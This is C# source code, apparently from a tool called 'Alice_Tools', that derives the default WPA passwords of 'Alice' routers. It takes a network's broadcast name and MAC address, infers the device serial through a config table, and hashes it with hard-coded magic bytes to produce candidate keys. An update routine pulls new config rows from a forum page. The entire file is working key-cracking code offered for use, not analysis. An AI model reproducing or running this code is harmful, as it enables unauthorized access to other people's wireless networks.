public static string computePSK(byte[] mac, string serial)
{
Alice_Tools.Utils U = new Alice_Tools.Utils();
Byte[] magic =
{
0x64, 0xC6, 0xDD, 0xE3, 0xE5,
0x79, 0xB6, 0xD9, 0x86, 0x96,
0x8D, 0x34, 0x45, 0xD2, 0x3B,
0x15, 0xCA, 0xAF, 0x12, 0x84,
0x02, 0xAC, 0x56, 0x00, 0x05,
0xCE, 0x20, 0x75, 0x91, 0x3F,
0xDC, 0xE8
};
Char[] table =
{
'0', '1', '2', '3', '4', '5',
'6', '7', '8', '9',
'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l',
'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x',
'y', 'z'
};
List <byte> data = new List <byte>();
data.AddRange(magic);
data.AddRange(U.strToByte(serial));
data.AddRange(mac);
SHA256 sha = new SHA256Managed();
Byte[] hash = sha.ComputeHash(data.ToArray());
int index = 0;
StringBuilder sb = new StringBuilder();
for (int i = 0; i < 24; i++)
{
index = hash[i];
sb.Append(table[index % 36]);
}
return(sb.ToString());
}
private static List <string> computeSn(string s)
{
Alice_Tools.Utils U = new Alice_Tools.Utils();
List <string> slist = new List <string>();
string essid = s.Substring(6, 8);
string serial;
try
{
using (StreamReader sr = new StreamReader(@".\config.txt"))
{
string line;
string[] row;
while ((line = sr.ReadLine()) != null)
{
row = line.Split(',');
if ((essid.StartsWith(row[0])) && (Convert.ToUInt32(row[3]) <= Convert.ToUInt32(essid)))
{
serial = row[1] + "X" + (((Convert.ToUInt32(essid) - Convert.ToUInt32(row[3])) / Convert.ToUInt32(row[2])).ToString()).PadLeft(7, '0');
slist.Add(serial);
}
if ((essid.StartsWith(row[0].Remove(2))) && (Convert.ToUInt32(row[3]) <= Convert.ToUInt32(essid)))
{
serial = row[2] + "X" + (((Convert.ToUInt32(essid) - Convert.ToUInt32(row[3])) / Convert.ToUInt32(row[2])).ToString()).PadLeft(7, '0');
slist.Add(serial);
}
}
}
}
catch (Exception e)
{
MessageBox.Show(e.Message, "error", MessageBoxButtons.OK, MessageBoxIcon.Error);
return(null);
}
if (slist.Count == 0)
{
return(null);
}
return(slist);
}
public static Byte[] computeMac(string s, string b)
{
Alice_Tools.Utils U = new Alice_Tools.Utils();
string essid = s.Substring(6, 8);
sbyte hi = 0;
if (!b.Equals("void") && ((hi = computeHi(b)) > 0))
{
essid = hi + essid;
}
try
{
using (StreamReader sr = new StreamReader(@".\config.txt"))
{
string line;
string[] row;
while ((line = sr.ReadLine()) != null)
{
row = line.Split(',');
if ((essid.StartsWith(row[0])) && (Convert.ToUInt32(row[3]) <= Convert.ToUInt32(essid)))
{
Byte[] mac = U.strToByteArray((row[4].Remove(5) + U.strToHex(essid)));
return(mac);
}
if ((essid.StartsWith(row[0].Remove(2))) && (Convert.ToUInt32(row[3]) <= Convert.ToUInt32(essid)))
{
Byte[] mac = U.strToByteArray((row[4].Remove(5) + U.strToHex(essid)));
return(mac);
}
}
}
}
catch (Exception e)
{
MessageBox.Show(e.Message, "error", MessageBoxButtons.OK, MessageBoxIcon.Error);
return(null);
}
return(null);
}
public static string[] getPSK(string essid, string bssid)
{
Alice_Tools.Utils U = new Alice_Tools.Utils();
Byte[] mac = computeMac(essid, bssid);
List <string> sn = computeSn(essid);
List <string> psk = new List <string>();
if (sn != null)
{
foreach (string serial in sn)
{
psk.Add(computePSK(mac, serial));
}
}
else
{
psk.Add("Q for " + essid + " wasn't found in config.txt.\r\ncan't compute psk.");
}
return(psk.Distinct().ToArray());
}
public static SByte doUpdate()
{
try
{
using (Stream sConfig = WebRequest.Create("http://www.gibit.net/forum/viewtopic.php?p=3").GetResponse().GetResponseStream())
{
sConfig.ReadTimeout = 5000;
String uConfig = new StreamReader(sConfig, Encoding.ASCII).ReadToEnd();
MatchCollection cMatches = Regex.Matches(uConfig, "(?:[0-9]{3}|[0-9]{2}X),6(?:79|91)0[1-4]+,(?:8|13),[0-9]{8},(?:[0-9A-F]{6}|[X]{6})");
if (cMatches.Count == 0)
{
throw new Exception("0 lines returned");
}
TextWriter tConfig = new StreamWriter(@".\config.txt", true);
foreach (Match cMatch in cMatches)
{
tConfig.WriteLine(cMatch.Value);
}
tConfig.Close();
Alice_Tools.Utils U = new Alice_Tools.Utils();
U.sortUniq("config.txt");
}
}
catch (Exception e)
{
MessageBox.Show(e.Message, "error", MessageBoxButtons.OK, MessageBoxIcon.Error);
return(1);
}
return(0);
}
